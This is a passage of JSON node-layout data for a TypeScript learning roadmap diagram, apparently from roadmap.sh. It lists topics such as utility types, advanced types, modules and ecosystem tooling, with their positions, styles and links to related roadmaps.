200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -280.00239646538284,\n        \"y\": 1065.2460936406935\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0NXHAOUYGIwuPwlN7r_B3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -280.00239646538284,\n        \"y\": 1118.2460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Generic Constraints\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -280.00239646538284,\n        \"y\": 1118.2460936406935\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TRx3wvWnRdJJf5eL-GBG4\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -8.658528277513312,\n        \"y\": 1266.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Decorators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2F7vOL__v9dLBohA263aj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 132,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -8.658528277513312,\n        \"y\": 1266.7460936406935\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LSwUHfalnk5MgHt21PANb\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -280.00239646538284,\n        \"y\": 1266.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Utility Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2F7vOL__v9dLBohA263aj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -280.00239646538284,\n        \"y\": 1266.7460936406935\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gBTem9Dp3IQLAkqGX4fOF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -618.0023964653828,\n        \"y\": 1156.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Partial\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -618.0023964653828,\n        \"y\": 1156.7460936406935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"E88tHQvARkHURZwGaO02l\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -514.0023964653828,\n        \"y\": 1156.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pick\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -514.0023964653828,\n        \"y\": 1156.7460936406935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yjlxygHl8QONNUrdx-Q0A\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -618.0023964653828,\n        \"y\": 1209.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Omit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -618.0023964653828,\n        \"y\": 1209.7460936406935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IuO9-O_DQdDYuAbdGWdgb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -514.0023964653828,\n        \"y\": 1209.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Readonly\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -514.0023964653828,\n        \"y\": 1209.7460936406935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DRdBmF5Dt_r09LoPOxOuq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -618.169165402603,\n        \"y\": 1262.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Record\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -618.169165402603,\n        \"y\": 1262.7460936406935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0fvOXi9gJbEc7etqTggNE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -514.169165402603,\n        \"y\": 1262.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Exclude\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -514.169165402603,\n        \"y\": 1262.7460936406935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IIAbAzXiVQm1JEi2MTMZN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -618.0023964653828,\n        \"y\": 1315.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Extract\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -618.0023964653828,\n        \"y\": 1315.7460936406935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_BAZlBEzE7ddr315OeHvl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -617.2332744798255,\n        \"y\": 1421.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NonNullable\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 203,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 203,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -617.2332744798255,\n        \"y\": 1421.7460936406935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a7hl0iMZ-jcUACxqIYVqv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -617.2332744798255,\n        \"y\": 1368.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Parameters\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 203,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 203,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -617.2332744798255,\n        \"y\": 1368.7460936406935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"On75JR_UkiIlha0_qaSeu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -617.2332744798255,\n        \"y\": 1474.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ReturnType\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 203,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 203,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -617.2332744798255,\n        \"y\": 1474.7460936406935\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"izGAjNtrh3BzQt3KiZX0W\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -617.2332744798255,\n        \"y\": 1527.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"InstanceType\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 203,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 203,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -617.2332744798255,\n        \"y\": 1527.7460936406935\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aEhI_9mFWXRIZh1ZxTuzu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -514.0023964653828,\n        \"y\": 1315.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Awaited\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -514.0023964653828,\n        \"y\": 1315.7460936406935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2F7vOL__v9dLBohA263aj\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -280.00239646538284,\n        \"y\": 1402.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Advanced Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -280.00239646538284,\n        \"y\": 1402.7460936406935\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VQ-V9qIdKgnpSJg2UnpuB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -295.50239646538284,\n        \"y\": 1499.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Mapped Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -295.50239646538284,\n        \"y\": 1499.7460936406935\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ubGIhi-WLE0EopTYXzmPL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -295.50239646538284,\n        \"y\": 1552.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Conditional Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -295.50239646538284,\n        \"y\": 1552.7460936406935\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CWzGwvl6NwYCaLYSLIjqQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -295.50239646538284,\n        \"y\": 1605.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Literal Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -295.50239646538284,\n        \"y\": 1605.7460936406935\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xP25nGw42VqdfZ_9pDMXd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -295.50239646538284,\n        \"y\": 1658.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Template Literal Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -295.50239646538284,\n        \"y\": 1658.7460936406935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"N8xBTJ74xv1E5hSLYZtze\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -295.50239646538284,\n        \"y\": 1711.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Recursive Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -295.50239646538284,\n        \"y\": 1711.7460936406935\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sE9lqkkqwnsVJxTJv37YZ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 171.49760353461716,\n        \"y\": 1733.7460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TypeScript Modules\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 171.49760353461716,\n        \"y\": 1733.7460936406935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EtVwQ4lnWi3IIFHGb2Qib\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 171.49760353461716,\n        \"y\": 1423.2460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Namespaces\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 171.49760353461716,\n        \"y\": 1423.2460936406935\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"k_5y77k8ZZ9_O2WpWXWTY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 171.49760353461716,\n        \"y\": 1476.2460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Ambient Modules\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 171.49760353461716,\n        \"y\": 1476.2460936406935\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"egQWk1n3p8Pep83yIwCtI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 171.49760353461716,\n        \"y\": 1529.2460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"External Modules\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 171.49760353461716,\n        \"y\": 1529.2460936406935\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"16TT8R4N-9tCfWmPetqMP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 171.49760353461716,\n        \"y\": 1582.2460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Namespace Augmentation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 171.49760353461716,\n        \"y\": 1582.2460936406935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JQwWeB1gkANSYfQmH69Bs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 171.49760353461716,\n        \"y\": 1635.2460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Global Augmentation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 171.49760353461716,\n        \"y\": 1635.2460936406935\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RqZaWGxxNRItBhVwWKysc\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -29.95968546864998,\n        \"y\": 1881.130494860985\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Ecosystem\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 133,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 133,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -29.95968546864998,\n        \"y\": 1881.130494860985\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 133,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fU8Vnw1DobM4iXl1Tq6EK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 247.49760353461716,\n        \"y\": 1802.2460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Formatting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 191,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 247.49760353461716,\n        \"y\": 1802.2460936406935\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8PcAPOrKisKRYPWamz4nV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 247.49760353461716,\n        \"y\": 1855.2460936406933\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Linting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 191,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 247.49760353461716,\n        \"y\": 1855.2460936406933\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PCX3KcvMUW3mmQEepLTXp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 247.49760353461716,\n        \"y\": 1908.2460936406933\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Useful Packages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 191,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 247.49760353461716,\n        \"y\": 1908.2460936406933\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"I5uwfej5XMwR2N2gpBILh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 247.49760353461716,\n        \"y\": 1961.2460936406933\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Build Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 191,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 247.49760353461716,\n        \"y\": 1961.2460936406933\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xwpc_KxehAruFM0pCQnie\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -399.16916540260297,\n        \"y\": 1936.6464601414127\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        },\n        \"oldId\": \"Ju00mr0KLGN2BV6yEQGPt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"positionAbsolute\": {\n        \"x\": -399.16916540260297,\n        \"y\": 1936.6464601414127\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"width\": 466,\n      \"height\": 119,\n      \"id\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -613.169165402603,\n        \"y\": 1846.130494860985\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Have a look at the following related roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"sVXZrBCsiSzWBBYWTm-nQ\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -613.169165402603,\n        \"y\": 1846.130494860985\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 466,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 466,\n        \"height\": 119\n      }\n    },\n    {\n      \"width\": 143,\n      \"height\": 49,\n      \"id\": \"P5IZjP0g1_fnvHy3YTR4q\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -598.491140079766,\n        \"y\": 1900.8197767726365\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frontend\",\n        \"href\": \"https://roadmap.sh/frontend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"dlGf3ZdFXYx0Z6Viu2x-l\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -598.491140079766,\n        \"y\": 1900.8197767726365\n      },\n      \"style\": {\n        \"width\": 143,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 143,\n      \"height\": 49,\n      \"id\": \"U0fJo2a3vnaodNJhfZ78I\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -452.49114007976596,\n        \"y\": 1900.8197767726365\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"P5IZjP0g1_fnvHy3YTR4q\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -452.49114007976596,\n        \"y\": 1900.8197767726365\n      },\n      \"style\": {\n        \"width\": 143,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 143,\n      \"height\": 49,\n      \"id\": \"iuSv7V59YxUZawN38Qlli\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -306.49114007976596,\n        \"y\": 1900.8197767726365\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Node.js\",\n        \"href\": \"https://roadmap.sh/nodejs\",\n        